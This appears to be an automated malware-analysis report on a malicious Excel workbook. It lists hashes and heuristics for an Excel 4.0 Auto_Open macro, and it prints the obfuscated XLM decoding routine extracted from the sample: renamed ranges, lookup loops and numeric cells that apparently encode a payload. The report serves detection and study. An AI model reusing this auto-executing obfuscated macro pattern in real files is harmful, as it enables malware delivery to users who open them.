Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c5f69b54f6295ae1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:00 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 7a2d00b4fafc86d43acc6366ca5b2fb3 SHA-1: 1a1b90eb78f1165583941e7e49d9a14bf9da5a73 SHA-256: c5f69b54f6295ae19fabb97a177e9604c8c57456e294c371c0e0d2cb21bb9f6f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6652 bytes
SHA-256: 9a52ab3ebe38b119c428d25bd911db44c194d47ab3d866d14068316a8f8c4130
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wlZdIV
' 0018     22 LABEL : Cell Value, String Constant - AAIhbDP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G171 
' 0018     27 LABEL : Cell Value, String Constant - cDAHiASbUrCK len=0 
' 0018     22 LABEL : Cell Value, String Constant - cklHXoi len=0 
' 0018     20 LABEL : Cell Value, String Constant - DLxpu len=0 
' 0018     20 LABEL : Cell Value, String Constant - dTDAK len=0 
' 0018     23 LABEL : Cell Value, String Constant - DxAyxUhU len=0 
' 0018     27 LABEL : Cell Value, String Constant - gXPTqmOPEWBu len=0 
' 0018     20 LABEL : Cell Value, String Constant - HdjEO len=0 
' 0018     26 LABEL : Cell Value, String Constant - hlhhIMWxYdD len=0 
' 0018     21 LABEL : Cell Value, String Constant - hRWXvR len=0 
' 0018     25 LABEL : Cell Value, String Constant - KkJUFyrFYj len=0 
' 0018     26 LABEL : Cell Value, String Constant - LCrmwNvOsuJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - mcqMzYUGGdds len=0 
' 0018     27 LABEL : Cell Value, String Constant - mfORFGvaOGTc len=0 
' 0018     22 LABEL : Cell Value, String Constant - NrQPRvY len=0 
' 0018     21 LABEL : Cell Value, String Constant - oWwfZk len=0 
' 0018     25 LABEL : Cell Value, String Constant - POCriOUdGh len=0 
' 0018     20 LABEL : Cell Value, String Constant - TrKsM len=0 
' 0018     26 LABEL : Cell Value, String Constant - VJoCqSAayFj len=0 
' 0018     22 LABEL : Cell Value, String Constant - woLshTA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wlZdIV,R65,"",408.00000000000000000000
'  wlZdIV,R66,"",-274.00000000000000000000
'  wlZdIV,R67,"",387.00000000000000000000
'  wlZdIV,R68,"",-706.00000000000000000000
'  wlZdIV,R69,"",-465.00000000000000000000
'  wlZdIV,R70,"",-899.00000000000000000000
'  wlZdIV,G79,"SET.NAME("TrKsM",0+VALUE("0"))",""
'  wlZdIV,G82,"SET.NAME("AAIhbDP",TrKsM)",""
'  wlZdIV,G87,"SET.NAME("oWwfZk",TrKsM)",""
'  wlZdIV,G90,"SET.NAME("KkJUFyrFYj",COUNTA(HdjEO))",""
'  wlZdIV,G94,"SET.NAME("NrQPRvY",COUNTA(woLshTA))",""
'  wlZdIV,G98,[],""
'  wlZdIV,G100,"SET.NAME("DLxpu","")",""
'  wlZdIV,G104,"AAIhbDP",""
'  wlZdIV,G108,"SET.NAME("cklHXoi",HLOOKUP("*",HdjEO,AAIhbDP,FALSE))",""
'  wlZdIV,G112,"POCriOUdGh",""
'  wlZdIV,G116,"SET.NAME("DxAyxUhU",TrKsM)",""
'  wlZdIV,G118,[],""
'  wlZdIV,G120,"DxAyxUhU",""
'  wlZdIV,G123,"hlhhIMWxYdD",""
'  wlZdIV,G128,"LCrmwNvOsuJ",""
'  wlZdIV,G130,"VJoCqSAayFj",""
'  wlZdIV,G133,"SET.NAME("cDAHiASbUrCK",VALUE(HLOOKUP("*",woLshTA,VJoCqSAayFj,FALSE)))",""
'  wlZdIV,G137,"dTDAK",""
'  wlZdIV,G140,"DLxpu",""
'  wlZdIV,G144,"oWwfZk",""
'  wlZdIV,G148,NEXT(),""
'  wlZdIV,G152,"mcqMzYUGGdds",""
'  wlZdIV,G155,[],""
'  wlZdIV,G159,"gXPTqmOPEWBu",""
'  wlZdIV,G162,NEXT(),""
'  wlZdIV,G166,RETURN(),""
'  wlZdIV,G194,"SET.NAME("mfORFGvaOGTc",G79)",""
'  wlZdIV,G197,"HdjEO",""
'  wlZdIV,G201,"SET.NAME("woLshTA",R76C12)",""
'  wlZdIV,G203,"SET.NAME("gXPTqmOPEWBu",211)",""
'  wlZdIV,G207,"SET.NAME("hRWXvR",7)",""
'  wlZdIV,G210,mfORFGvaOGTc(),""
'  wlZdIV,G211,HALT(),""